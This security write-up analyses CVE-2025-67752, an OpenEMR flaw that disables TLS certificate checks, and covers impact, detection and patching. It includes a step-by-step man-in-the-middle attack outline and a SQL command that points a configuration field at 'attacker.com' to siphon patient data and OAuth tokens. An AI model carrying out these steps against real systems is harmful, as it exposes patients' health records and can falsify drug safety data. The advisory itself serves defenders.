CVE-2025-67752: 
OpenEMR vulnerability analysis and mitigation

CVE-2025-67752 is an improper SSL/TLS certificate validation vulnerability in OpenEMR's HTTP client wrapper (oeHttp/oeHttpRequest) that makes all external HTTPS connections susceptible to man-in-the-middle (MITM) attacks. The vulnerability affects all OpenEMR installations from version 5.0.2 through 7.0.3, introduced via commit d14c28d on December 9, 2018 (PR #2023 "New Http Rest Client"). It was publicly disclosed on February 25, 2026, and fixed in version 7.0.4. The CVSS v3.1 base score is 8.1 (High) (GitHub Advisory, Red Hat CVE).

The root cause is CWE-295 (Improper Certificate Validation): the Guzzle HTTP client options in src/Common/Http/oeHttpRequest.php and src/Common/Http/oeOAuth.php hardcode 'verify' => false, disabling SSL/TLS certificate validation for all outbound HTTPS requests. This flaw also extends to multiple cURL-based HTTP calls across files including interface/eRxXMLBuilder.php, library/maviq_phone_api.php, modules/sms_email_reminder/sms_clickatell.php, and others. An attacker positioned on the network path (e.g., via a compromised router, rogue Wi-Fi, or DNS poisoning) can present a fraudulent certificate that OpenEMR will accept without error, enabling full interception and modification of encrypted traffic. A proof-of-concept demonstrating the bypass using known-bad SSL endpoints (e.g., expired.badssl.com, self-signed.badssl.com) is included in the security advisory (GitHub Advisory, Patch Commit).

Successful exploitation allows a network-positioned attacker to intercept and modify HTTPS communications between OpenEMR and external healthcare APIs, including rxnav.nlm.nih.gov (drug interactions), npiregistry.cms.hhs.gov (pharmacy imports), accessgudid.nlm.nih.gov (medical device lookups), and user-configurable EASIPRO assessment servers. Protected Health Information (PHI) at risk includes patient medications, drug interaction queries, pharmacy routing data, device implant records, health questionnaire responses, and OAuth2 access/refresh tokens. Integrity impacts include the ability to serve falsified drug interaction warnings or corrupted pharmacy data, which could directly harm patients. This vulnerability constitutes a violation of HIPAA Security Rule §164.312(e)(1) (Transmission Security) (GitHub Advisory).

A proof-of-concept is publicly available in the GitHub security advisory, demonstrating that OpenEMR accepts expired, self-signed, wrong-hostname, and untrusted-root certificates without error. There is no evidence of active in-the-wild exploitation at this time. The EPSS score is approximately 0.02% (0.000200), indicating low current exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires a network-level position (MITM), which raises the attack complexity to High (GitHub Advisory, Feedly).

1. Reconnaissance: Identify OpenEMR instances running versions 5.0.2 through 7.0.3 exposed on the network. Confirm the version via the OpenEMR login page or administrative interface.
2. Network Positioning: Gain a man-in-the-middle position on the network path between the OpenEMR server and external APIs. This can be achieved via ARP spoofing on a local network, compromising a router, setting up a rogue Wi-Fi access point, or performing DNS cache poisoning to redirect API hostnames (e.g., rxnav.nlm.nih.gov) to an attacker-controlled IP.
3. Set Up Rogue TLS Server: Deploy a TLS server with a self-signed or fraudulent certificate on the attacker-controlled IP, configured to impersonate the target API endpoint.
4. Trigger Vulnerable Feature: Wait for or induce a legitimate OpenEMR user to trigger a feature that makes an outbound HTTPS call — such as performing a drug interaction check, importing pharmacies, or conducting a patient assessment.
5. Intercept and Manipulate Traffic: OpenEMR's HTTP client accepts the fraudulent certificate (verify: false) and establishes a connection to the attacker's server. The attacker can now read PHI in plaintext, steal OAuth tokens, or serve malicious responses (e.g., falsified drug interaction data).
6. Optional — Configuration Injection (Scenario 2): If the attacker has database access, modify the globals table to point easipro_server to an attacker-controlled URL: UPDATE globals SET gl_value='https://attacker.com' WHERE gl_name='easipro_server'. Subsequent patient assessments will send PHI and OAuth credentials directly to the attacker (GitHub Advisory).

• Network: Unexpected outbound TLS connections from the OpenEMR server to IP addresses not associated with known API providers (e.g., rxnav.nlm.nih.gov, npiregistry.cms.hhs.gov, accessgudid.nlm.nih.gov); TLS handshakes presenting certificates with mismatched hostnames, self-signed issuers, or untrusted root CAs on port 443.
• Logs: PHP error log entries referencing SSL configuration warnings (e.g., OpenEMR SSL Configuration Warning: Custom CA certificate is configured but SSL verification is disabled); web server access logs showing API-triggering actions (drug interaction checks, pharmacy imports) followed by anomalous outbound connections.
• Database: Unexpected changes to the globals table, particularly for fields easipro_server, site_addr_oath, or qualified_site_addr pointing to non-standard or external URLs. Query: SELECT gl_name, gl_value FROM globals WHERE gl_name IN ('easipro_server', 'site_addr_oath', 'qualified_site_addr');
• Network Monitoring: Use tcpdump -i any -n 'tcp port 443' | grep -E 'rxnav|npiregistry|accessgudid' to detect unexpected HTTPS connections to API endpoints from the OpenEMR host (GitHub Advisory).

The primary remediation is to upgrade OpenEMR to version 7.0.4 or later, which changes the default SSL verification behavior to verify: true across all HTTP client wrappers. The patch (commit 22f8e53) also introduces environment variable controls: set OPENEMR_SETTING_http_verify_ssl=true to enforce verification, and optionally OPENEMR_SETTING_http_ca_cert=<path> to specify a custom CA bundle for internal self-signed certificates. No reasonable workarounds exist for unpatched systems; the advisory recommends network-level controls (e.g., restricting outbound HTTPS to known API endpoints) and network segmentation as interim mitigations for systems that cannot be immediately patched (GitHub Advisory, Patch Commit).

The vulnerability was published by OpenEMR maintainer bradymiller via GitHub Security Advisories on February 25, 2026, and credited to researcher kojiromike. The advisory received attention on social media platforms including Mastodon and Bluesky shortly after disclosure. Red Hat also tracked the vulnerability in their CVE database. Given the healthcare context and HIPAA implications highlighted in the advisory, the disclosure emphasized patient safety risks (falsified drug interaction data) alongside data privacy concerns (GitHub Advisory, Red Hat CVE).